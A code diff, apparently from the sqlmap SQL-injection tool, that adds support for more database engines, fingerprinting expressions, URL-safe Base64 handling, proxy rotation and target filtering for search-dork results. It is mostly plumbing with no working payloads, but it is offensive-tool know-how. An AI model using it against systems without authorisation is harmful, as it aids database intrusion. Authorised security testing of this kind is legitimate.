@@ -198,8 +198,32 @@ def decodeBase64(value, binary=True, encoding=None):
|
||||
True
|
||||
>>> decodeBase64("MTIz", binary=False)
|
||||
'123'
|
||||
>>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE")
|
||||
True
|
||||
>>> decodeBase64(b"MTIzNA") == b"1234"
|
||||
True
|
||||
>>> decodeBase64("MTIzNA") == b"1234"
|
||||
True
|
||||
>>> decodeBase64("MTIzNA==") == b"1234"
|
||||
True
|
||||
"""
|
||||
|
||||
if value is None:
|
||||
return None
|
||||
|
||||
padding = b'=' if isinstance(value, bytes) else '='
|
||||
|
||||
# Reference: https://stackoverflow.com/a/49459036
|
||||
if not value.endswith(padding):
|
||||
value += 3 * padding
|
||||
|
||||
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||
if isinstance(value, bytes):
|
||||
value = value.replace(b'-', b'+').replace(b'_', b'/')
|
||||
else:
|
||||
value = value.replace('-', '+').replace('_', '/')
|
||||
|
||||
retVal = base64.b64decode(value)
|
||||
|
||||
if not binary:
|
||||
@@ -207,16 +231,23 @@ def decodeBase64(value, binary=True, encoding=None):
|
||||
|
||||
return retVal
|
||||
|
||||
def encodeBase64(value, binary=True, encoding=None):
|
||||
def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False):
|
||||
"""
|
||||
Returns a decoded representation of provided Base64 value
|
||||
|
||||
>>> encodeBase64(b"123") == b"MTIz"
|
||||
True
|
||||
>>> encodeBase64(u"123", binary=False)
|
||||
'MTIz'
|
||||
>>> encodeBase64(u"1234", binary=False)
|
||||
'MTIzNA=='
|
||||
>>> encodeBase64(u"1234", binary=False, padding=False)
|
||||
'MTIzNA'
|
||||
>>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True)
|
||||
'A-B_CDE'
|
||||
"""
|
||||
|
||||
if value is None:
|
||||
return None
|
||||
|
||||
if isinstance(value, six.text_type):
|
||||
value = value.encode(encoding or UNICODE_ENCODING)
|
||||
|
||||
@@ -225,6 +256,19 @@ def encodeBase64(value, binary=True, encoding=None):
|
||||
if not binary:
|
||||
retVal = getText(retVal, encoding)
|
||||
|
||||
if safe:
|
||||
padding = False
|
||||
|
||||
# Reference: https://en.wikipedia.org/wiki/Base64#URL_applications
|
||||
# Reference: https://perldoc.perl.org/MIME/Base64.html
|
||||
if isinstance(retVal, bytes):
|
||||
retVal = retVal.replace(b'+', b'-').replace(b'/', b'_')
|
||||
else:
|
||||
retVal = retVal.replace('+', '-').replace('/', '_')
|
||||
|
||||
if not padding:
|
||||
retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=')
|
||||
|
||||
return retVal
|
||||
|
||||
def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||
@@ -256,7 +300,10 @@ def getBytes(value, encoding=None, errors="strict", unsafe=True):
|
||||
if unsafe:
|
||||
retVal = re.sub(r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER, lambda _: decodeHex(_.group(1)), retVal)
|
||||
else:
|
||||
retVal = value.encode(encoding, errors)
|
||||
try:
|
||||
retVal = value.encode(encoding, errors)
|
||||
except UnicodeError:
|
||||
retVal = value.encode(UNICODE_ENCODING, errors="replace")
|
||||
|
||||
if unsafe:
|
||||
retVal = re.sub(b"\\\\x([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), retVal)
|
||||
|
||||
@@ -39,16 +39,19 @@ def cachedmethod(f):
|
||||
|
||||
@functools.wraps(f)
|
||||
def _f(*args, **kwargs):
|
||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||
|
||||
try:
|
||||
with _cache_lock:
|
||||
result = _cache[f][key]
|
||||
except KeyError:
|
||||
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs)).encode(UNICODE_ENCODING)).hexdigest(), 16) & 0x7fffffffffffffff
|
||||
except ValueError: # https://github.com/sqlmapproject/sqlmap/issues/4281 (NOTE: non-standard Python behavior where hexdigest returns binary value)
|
||||
result = f(*args, **kwargs)
|
||||
else:
|
||||
try:
|
||||
with _cache_lock:
|
||||
result = _cache[f][key]
|
||||
except KeyError:
|
||||
result = f(*args, **kwargs)
|
||||
|
||||
with _cache_lock:
|
||||
_cache[f][key] = result
|
||||
with _cache_lock:
|
||||
_cache[f][key] = result
|
||||
|
||||
return result
|
||||
|
||||
|
||||
@@ -15,6 +15,7 @@ _defaults = {
|
||||
"delay": 0,
|
||||
"timeout": 30,
|
||||
"retries": 3,
|
||||
"csrfRetries": 0,
|
||||
"saFreq": 0,
|
||||
"threads": 1,
|
||||
"level": 1,
|
||||
|
||||
@@ -12,9 +12,14 @@ from lib.core.enums import POST_HINT
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.core.settings import BLANK
|
||||
from lib.core.settings import CACHE_ALIASES
|
||||
from lib.core.settings import CRATEDB_ALIASES
|
||||
from lib.core.settings import CUBRID_ALIASES
|
||||
from lib.core.settings import DB2_ALIASES
|
||||
from lib.core.settings import DERBY_ALIASES
|
||||
from lib.core.settings import EXTREMEDB_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import FRONTBASE_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
@@ -115,6 +120,28 @@ SYBASE_TYPES = {
|
||||
20: "image",
|
||||
}
|
||||
|
||||
ALTIBASE_TYPES = {
|
||||
1: "CHAR",
|
||||
12: "VARCHAR",
|
||||
-8: "NCHAR",
|
||||
-9: "NVARCHAR",
|
||||
2: "NUMERIC",
|
||||
6: "FLOAT",
|
||||
8: "DOUBLE",
|
||||
7: "REAL",
|
||||
-5: "BIGINT",
|
||||
4: "INTEGER",
|
||||
5: "SMALLINT",
|
||||
9: "DATE",
|
||||
30: "BLOB",
|
||||
40: "CLOB",
|
||||
20001: "BYTE",
|
||||
20002: "NIBBLE",
|
||||
-7: "BIT",
|
||||
-100: "VARBIT",
|
||||
10003: "GEOMETRY",
|
||||
}
|
||||
|
||||
MYSQL_PRIVS = {
|
||||
1: "select_priv",
|
||||
2: "insert_priv",
|
||||
@@ -212,6 +239,11 @@ DBMS_DICT = {
|
||||
DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
|
||||
DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
|
||||
DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
|
||||
DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"),
|
||||
DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None),
|
||||
DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
|
||||
DBMS.EXTREMEDB: (EXTREMEDB_ALIASES, None, None, None),
|
||||
DBMS.FRONTBASE: (FRONTBASE_ALIASES, None, None, None),
|
||||
}
|
||||
|
||||
# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
|
||||
@@ -225,6 +257,7 @@ FROM_DUMMY_TABLE = {
|
||||
DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
|
||||
DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
|
||||
DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
|
||||
DBMS.FRONTBASE: " FROM INFORMATION_SCHEMA.IO_STATISTICS"
|
||||
}
|
||||
|
||||
HEURISTIC_NULL_EVAL = {
|
||||
@@ -235,13 +268,18 @@ HEURISTIC_NULL_EVAL = {
|
||||
DBMS.ORACLE: "INSTR2(NULL,NULL)",
|
||||
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
|
||||
DBMS.SQLITE: "UNLIKELY(NULL)",
|
||||
DBMS.H2: "STRINGTOUTF8(NULL)",
|
||||
DBMS.MONETDB: "CODE(NULL)",
|
||||
DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
|
||||
DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
|
||||
DBMS.MCKOI: "TONUMBER(NULL)",
|
||||
DBMS.PRESTO: "FROM_HEX(NULL)",
|
||||
DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
|
||||
DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL",
|
||||
DBMS.MIMERSQL: "ASCII_CHAR(256)",
|
||||
DBMS.CRATEDB: "MD5(NULL~NULL)", # Note: NULL~NULL also being evaluated on H2 and Ignite
|
||||
DBMS.CUBRID: "(NULL SETEQ NULL)",
|
||||
DBMS.CACHE: "%SQLUPPER NULL",
|
||||
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
|
||||
}
|
||||
|
||||
SQL_STATEMENTS = {
|
||||
|
||||
@@ -72,7 +72,7 @@ class Dump(object):
|
||||
text = "%s%s" % (data, "\n" if newline else " ")
|
||||
|
||||
if conf.api:
|
||||
dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||
dataToStdout(data, contentType=content_type, status=CONTENT_STATUS.COMPLETE)
|
||||
|
||||
elif console:
|
||||
dataToStdout(text)
|
||||
@@ -164,12 +164,10 @@ class Dump(object):
|
||||
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
|
||||
|
||||
def currentDb(self, data):
|
||||
if Backend.isDbms(DBMS.MAXDB):
|
||||
self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
|
||||
self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||
self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
|
||||
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB):
|
||||
self.string("current database (equivalent to owner on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
else:
|
||||
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
|
||||
|
||||
@@ -243,7 +241,7 @@ class Dump(object):
|
||||
lines = "-" * (int(maxlength) + 2)
|
||||
|
||||
for db, tables in dbTables.items():
|
||||
tables.sort()
|
||||
tables = sorted(filter(None, tables))
|
||||
|
||||
self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database")
|
||||
|
||||
|
||||
@@ -52,6 +52,11 @@ class DBMS(object):
|
||||
PRESTO = "Presto"
|
||||
ALTIBASE = "Altibase"
|
||||
MIMERSQL = "MimerSQL"
|
||||
CRATEDB = "CrateDB"
|
||||
CUBRID = "Cubrid"
|
||||
CACHE = "InterSystems Cache"
|
||||
EXTREMEDB = "eXtremeDB"
|
||||
FRONTBASE = "FrontBase"
|
||||
|
||||
class DBMS_DIRECTORY_NAME(object):
|
||||
ACCESS = "access"
|
||||
@@ -74,6 +79,11 @@ class DBMS_DIRECTORY_NAME(object):
|
||||
PRESTO = "presto"
|
||||
ALTIBASE = "altibase"
|
||||
MIMERSQL = "mimersql"
|
||||
CRATEDB = "cratedb"
|
||||
CUBRID = "cubrid"
|
||||
CACHE = "cache"
|
||||
EXTREMEDB = "extremedb"
|
||||
FRONTBASE = "frontbase"
|
||||
|
||||
class FORK(object):
|
||||
MARIADB = "MariaDB"
|
||||
@@ -83,6 +93,12 @@ class FORK(object):
|
||||
TIDB = "TiDB"
|
||||
REDSHIFT = "Amazon Redshift"
|
||||
GREENPLUM = "Greenplum"
|
||||
DRIZZLE = "Drizzle"
|
||||
IGNITE = "Apache Ignite"
|
||||
AURORA = "Aurora"
|
||||
ENTERPRISEDB = "EnterpriseDB"
|
||||
YELLOWBRICK = "Yellowbrick"
|
||||
IRIS = "Iris"
|
||||
|
||||
class CUSTOM_LOGGING(object):
|
||||
PAYLOAD = 9
|
||||
@@ -161,7 +177,7 @@ class HASH(object):
|
||||
SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z'
|
||||
CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z'
|
||||
JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z'
|
||||
WORDPRESS = r'\A\$P\$[./0-9a-zA-Z]{31}\Z'
|
||||
PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z'
|
||||
APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
UNIX_MD5_CRYPT = r'\A\$1\$.{1,8}\$[./a-zA-Z0-9]+\Z'
|
||||
APACHE_SHA1 = r'\A\{SHA\}[a-zA-Z0-9+/]+={0,2}\Z'
|
||||
@@ -412,3 +428,8 @@ class TIMEOUT_STATE(object):
|
||||
class HINT(object):
|
||||
PREPEND = 0
|
||||
APPEND = 1
|
||||
|
||||
class FUZZ_UNION_COLUMN:
|
||||
STRING = "<string>"
|
||||
INTEGER = "<integer>"
|
||||
NULL = "NULL"
|
||||
|
||||
@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import logging
|
||||
import re
|
||||
import sys
|
||||
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
@@ -20,6 +21,77 @@ LOGGER_HANDLER = None
|
||||
try:
|
||||
from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler
|
||||
|
||||
class _ColorizingStreamHandler(ColorizingStreamHandler):
|
||||
def colorize(self, message, levelno):
|
||||
if levelno in self.level_map and self.is_tty:
|
||||
bg, fg, bold = self.level_map[levelno]
|
||||
params = []
|
||||
|
||||
if bg in self.color_map:
|
||||
params.append(str(self.color_map[bg] + 40))
|
||||
|
||||
if fg in self.color_map:
|
||||
params.append(str(self.color_map[fg] + 30))
|
||||
|
||||
if bold:
|
||||
params.append('1')
|
||||
|
||||
if params and message:
|
||||
match = re.search(r"\A(\s+)", message)
|
||||
prefix = match.group(1) if match else ""
|
||||
message = message[len(prefix):]
|
||||
|
||||
match = re.search(r"\[([A-Z ]+)\]", message) # log level
|
||||
if match:
|
||||
level = match.group(1)
|
||||
if message.startswith(self.bold):
|
||||
message = message.replace(self.bold, "")
|
||||
reset = self.reset + self.bold
|
||||
params.append('1')
|
||||
else:
|
||||
reset = self.reset
|
||||
message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1)
|
||||
|
||||
match = re.search(r"\A\s*\[([\d:]+)\]", message) # time
|
||||
if match:
|
||||
time = match.group(1)
|
||||
message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1)
|
||||
|
||||
match = re.search(r"\[(#\d+)\]", message) # counter
|
||||
if match:
|
||||
counter = match.group(1)
|
||||
message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1)
|
||||
|
||||
if level != "PAYLOAD":
|
||||
if any(_ in message for _ in ("parsed DBMS error message",)):
|
||||
match = re.search(r": '(.+)'", message)
|
||||
if match:
|
||||
string = match.group(1)
|
||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||
else:
|
||||
match = re.search(r"\bresumed: '(.+\.\.\.)", message)
|
||||
if match:
|
||||
string = match.group(1)
|
||||
message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||
else:
|
||||
match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message)
|
||||
if match:
|
||||
string = match.group(1)
|
||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||
else:
|
||||
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
|
||||
string = match.group(1)
|
||||
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
|
||||
else:
|
||||
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
|
||||
|
||||
if prefix:
|
||||
message = "%s%s" % (prefix, message)
|
||||
|
||||
message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch
|
||||
|
||||
return message
|
||||
|
||||
disableColor = False
|
||||
|
||||
for argument in sys.argv:
|
||||
@@ -30,7 +102,7 @@ try:
|
||||
if disableColor:
|
||||
LOGGER_HANDLER = logging.StreamHandler(sys.stdout)
|
||||
else:
|
||||
LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout)
|
||||
LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout)
|
||||
LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False)
|
||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False)
|
||||
LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False)
|
||||
|
||||
@@ -93,7 +93,6 @@ from lib.core.exception import SqlmapInstallationException
|
||||
from lib.core.exception import SqlmapMissingDependence
|
||||
from lib.core.exception import SqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import SqlmapMissingPrivileges
|
||||
from lib.core.exception import SqlmapNoneDataException
|
||||
from lib.core.exception import SqlmapSilentQuitException
|
||||
from lib.core.exception import SqlmapSyntaxException
|
||||
from lib.core.exception import SqlmapSystemException
|
||||
@@ -371,7 +370,7 @@ def _doSearch():
|
||||
|
||||
for link in links:
|
||||
link = urldecode(link)
|
||||
if re.search(r"(.*?)\?(.+)", link):
|
||||
if re.search(r"(.*?)\?(.+)", link) or conf.forms:
|
||||
kb.targets.add((link, conf.method, conf.data, conf.cookie, None))
|
||||
elif re.search(URI_INJECTABLE_REGEX, link, re.I):
|
||||
if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork:
|
||||
@@ -387,14 +386,18 @@ def _doSearch():
|
||||
|
||||
if kb.targets:
|
||||
infoMsg = "found %d results for your " % len(links)
|
||||
infoMsg += "search dork expression, "
|
||||
infoMsg += "search dork expression"
|
||||
|
||||
if len(links) == len(kb.targets):
|
||||
infoMsg += "all "
|
||||
else:
|
||||
infoMsg += "%d " % len(kb.targets)
|
||||
if not conf.forms:
|
||||
infoMsg += ", "
|
||||
|
||||
if len(links) == len(kb.targets):
|
||||
infoMsg += "all "
|
||||
else:
|
||||
infoMsg += "%d " % len(kb.targets)
|
||||
|
||||
infoMsg += "of them are testable targets"
|
||||
|
||||
infoMsg += "of them are testable targets"
|
||||
logger.info(infoMsg)
|
||||
break
|
||||
|
||||
@@ -425,6 +428,9 @@ def _setBulkMultipleTargets():
|
||||
|
||||
found = False
|
||||
for line in getFileItems(conf.bulkFile):
|
||||
if conf.scope and not re.search(conf.scope, line, re.I):
|
||||
continue
|
||||
|
||||
if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line:
|
||||
found = True
|
||||
kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None))
|
||||
@@ -676,7 +682,7 @@ def _setDBMS():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.dbms = conf.dbms.lower()
|
||||
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I)
|
||||
regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I)
|
||||
|
||||
if regex:
|
||||
conf.dbms = regex.group(1)
|
||||
@@ -976,16 +982,13 @@ def _setHTTPHandlers():
|
||||
"""
|
||||
|
||||
with kb.locks.handlers:
|
||||
if conf.proxyList is not None:
|
||||
if not conf.proxyList:
|
||||
errMsg = "list of usable proxies is exhausted"
|
||||
raise SqlmapNoneDataException(errMsg)
|
||||
|
||||
if conf.proxyList:
|
||||
conf.proxy = conf.proxyList[0]
|
||||
conf.proxyList = conf.proxyList[1:]
|
||||
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
|
||||
|
||||
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
||||
logger.info(infoMsg)
|
||||
if len(conf.proxyList) > 1:
|
||||
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
|
||||
logger.info(infoMsg)
|
||||
|
||||
elif not conf.proxy:
|
||||
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
|
||||
@@ -1853,6 +1856,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.arch = None
|
||||
kb.authHeader = None
|
||||
kb.bannerFp = AttribDict()
|
||||
kb.base64Originals = {}
|
||||
kb.binaryField = False
|
||||
kb.browserVerification = None
|
||||
|
||||
@@ -1864,6 +1868,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.cache.content = {}
|
||||
kb.cache.encoding = {}
|
||||
kb.cache.alphaBoundaries = None
|
||||
kb.cache.hashRegex = None
|
||||
kb.cache.intBoundaries = None
|
||||
kb.cache.parsedDbms = {}
|
||||
kb.cache.regex = {}
|
||||
@@ -1913,6 +1918,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.errorIsNone = True
|
||||
kb.falsePositives = []
|
||||
kb.fileReadMode = False
|
||||
kb.fingerprinted = False
|
||||
kb.followSitemapRecursion = None
|
||||
kb.forcedDbms = None
|
||||
kb.forcePartialUnion = False
|
||||
@@ -1920,6 +1926,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.forceWhere = None
|
||||
kb.forkNote = None
|
||||
kb.futileUnion = None
|
||||
kb.fuzzUnionTest = None
|
||||
kb.heavilyDynamic = False
|
||||
kb.headersFile = None
|
||||
kb.headersFp = {}
|
||||
@@ -2002,10 +2009,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.skipSeqMatcher = False
|
||||
kb.smokeMode = False
|
||||
kb.reduceTests = None
|
||||
kb.tlsSNI = {}
|
||||
kb.sslSuccess = False
|
||||
kb.stickyDBMS = False
|
||||
kb.storeHashesChoice = None
|
||||
kb.suppressResumeInfo = False
|
||||
kb.tableExistsChoice = None
|
||||
kb.tableFrom = None
|
||||
kb.technique = None
|
||||
kb.tempDir = None
|
||||
@@ -2015,10 +2023,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
|
||||
kb.testType = None
|
||||
kb.threadContinue = True
|
||||
kb.threadException = False
|
||||
kb.tableExistsChoice = None
|
||||
kb.tlsSNI = {}
|
||||
kb.uChar = NULL
|
||||
kb.udfFail = False
|
||||
kb.unionDuplicates = False
|
||||
kb.unionTemplate = None
|
||||
kb.webSocketRecvCount = None
|
||||
kb.wizardMode = False
|
||||
kb.xpCmdshellAvailable = False
|
||||
@@ -2055,11 +2064,11 @@ def _useWizardInterface():
|
||||
message = "Please enter full target URL (-u): "
|
||||
conf.url = readInput(message, default=None)
|
||||
|
||||
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
||||
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||
conf.data = readInput(message, default=None)
|
||||
|
||||
if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
|
||||
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
|
||||
warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
|
||||
warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
|
||||
if not conf.crawlDepth and not conf.forms:
|
||||
warnMsg += "Will search for forms"
|
||||
|
||||
@@ -61,6 +61,7 @@ optDict = {
|
||||
"csrfToken": "string",
|
||||
"csrfUrl": "string",
|
||||
"csrfMethod": "string",
|
||||
"csrfRetries": "integer",
|
||||
"forceSSL": "boolean",
|
||||
"chunked": "boolean",
|
||||
"hpp": "boolean",
|
||||
@@ -201,6 +202,8 @@ optDict = {
|
||||
"trafficFile": "string",
|
||||
"answers": "string",
|
||||
"batch": "boolean",
|
||||
"base64Parameter": "string",
|
||||
"base64Safe": "boolean",
|
||||
"binaryFields": "string",
|
||||
"charset": "string",
|
||||
"checkInternet": "boolean",
|
||||
|
||||
@@ -6,6 +6,8 @@ See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import codecs
|
||||
import os
|
||||
import random
|
||||
|
||||
import lib.controller.checks
|
||||
import lib.core.common
|
||||
@@ -25,6 +27,7 @@ from lib.core.common import isListLike
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import shellExec
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.compat import xrange
|
||||
from lib.core.convert import stdoutEncode
|
||||
from lib.core.data import conf
|
||||
from lib.core.option import _setHTTPHandlers
|
||||
@@ -34,6 +37,8 @@ from lib.request.templates import getPageTemplate
|
||||
from thirdparty import six
|
||||
from thirdparty.six.moves import http_client as _http_client
|
||||
|
||||
_rand = 0
|
||||
|
||||
def dirtyPatches():
|
||||
"""
|
||||
Place for "dirty" Python related patches
|
||||
@@ -46,8 +51,9 @@ def dirtyPatches():
|
||||
if six.PY3:
|
||||
if not hasattr(_http_client.HTTPConnection, "__send_output"):
|
||||
_http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
|
||||
|
||||
def _send_output(self, *args, **kwargs):
|
||||
if conf.chunked and "encode_chunked" in kwargs:
|
||||
if conf.get("chunked") and "encode_chunked" in kwargs:
|
||||
kwargs["encode_chunked"] = False
|
||||
self.__send_output(*args, **kwargs)
|
||||
|
||||
@@ -71,6 +77,15 @@ def dirtyPatches():
|
||||
# to prevent too much "guessing" in case of binary data retrieval
|
||||
thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
|
||||
|
||||
# https://github.com/sqlmapproject/sqlmap/issues/4314
|
||||
try:
|
||||
os.urandom(1)
|
||||
except NotImplemented:
|
||||
if six.PY3:
|
||||
os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
|
||||
else:
|
||||
os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
|
||||
|
||||
def resolveCrossReferences():
|
||||
"""
|
||||
Place for cross-reference resolution
|
||||
@@ -100,3 +115,35 @@ def pympTempLeakPatch(tempDir):
|
||||
multiprocessing.util.get_temp_dir = lambda: tempDir
|
||||
except:
|
||||
pass
|
||||
|
||||
def unisonRandom():
|
||||
"""
|
||||
Unifying random generated data across different Python versions
|
||||
"""
|
||||
|
||||
def _lcg():
|
||||
global _rand
|
||||
a = 1140671485
|
||||
c = 128201163
|
||||
m = 2 ** 24
|
||||
_rand = (a * _rand + c) % m
|
||||
return _rand
|
||||
|
||||
def _randint(a, b):
|
||||
_ = a + (_lcg() % (b - a + 1))
|
||||
return _
|
||||
|
||||
def _choice(seq):
|
||||
return seq[_randint(0, len(seq) - 1)]
|
||||
|
||||
def _sample(population, k):
|
||||
return [_choice(population) for _ in xrange(k)]
|
||||
|
||||
def _seed(seed):
|
||||
global _rand
|
||||
_rand = seed
|
||||
|
||||
random.choice = _choice
|
||||
random.randint = _randint
|
||||
random.sample = _sample
|
||||
random.seed = _seed
|
||||
|
||||
@@ -25,7 +25,7 @@ def setDbms(dbms):
|
||||
|
||||
hashDBWrite(HASHDB_KEYS.DBMS, dbms)
|
||||
|
||||
_ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
|
||||
_ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
|
||||
_ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
|
||||
|
||||
if _:
|
||||
|
||||
@@ -18,7 +18,7 @@ from lib.core.enums import OS
|
||||
from thirdparty.six import unichr as _unichr
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.4.2.0"
|
||||
VERSION = "1.4.9.0"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
